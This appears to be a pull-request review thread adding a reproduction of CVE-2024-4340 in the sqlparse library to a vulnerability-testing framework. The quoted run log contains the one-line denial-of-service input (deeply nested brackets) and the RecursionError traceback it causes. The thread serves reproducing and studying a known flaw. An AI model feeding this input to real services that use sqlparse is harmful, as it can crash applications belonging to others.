add CVE-2024-4340

[praneeth-bala]

No description provided.

[olegbck]

Please put this package to the data folder and install it from file

[olegbck]

Also, the exploit fails to execute (as I thought so):

2024-12-06 13:15:06,323 - INFO - [ubuntu] Executing 'strace -o /tmp/cvex/ubuntu_strace_python3_0.log python3 /tmp/exploit.py'...
2024-12-06 13:15:46,558 - CRITICAL - [main] Command failed: <UnexpectedExit: cmd='strace -o /tmp/cvex/ubuntu_strace_python3_0.log python3 /tmp/exploit.py' exited=1>

After trying to run it manually, I see this:

vagrant@ubuntu:~$ python3 /tmp/exploit.py
Traceback (most recent call last):
File "/tmp/exploit.py", line 2, in
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/init.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/usr/local/lib/python3.10/dist-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 161, in init
super().init(None, str(self))
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 165, in str
return ''.join(token.value for token in self.flatten())
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 165, in
return ''.join(token.value for token in self.flatten())
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/usr/local/lib/python3.10/dist-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded

Is that what the exploit is about, RecursionError? If that so, please make it more visible. I'd wrap the code of the exploit in try-except and then print "Exploit succeeded" if RecursionError is raised. Otherwise it looks like the exploit is not working.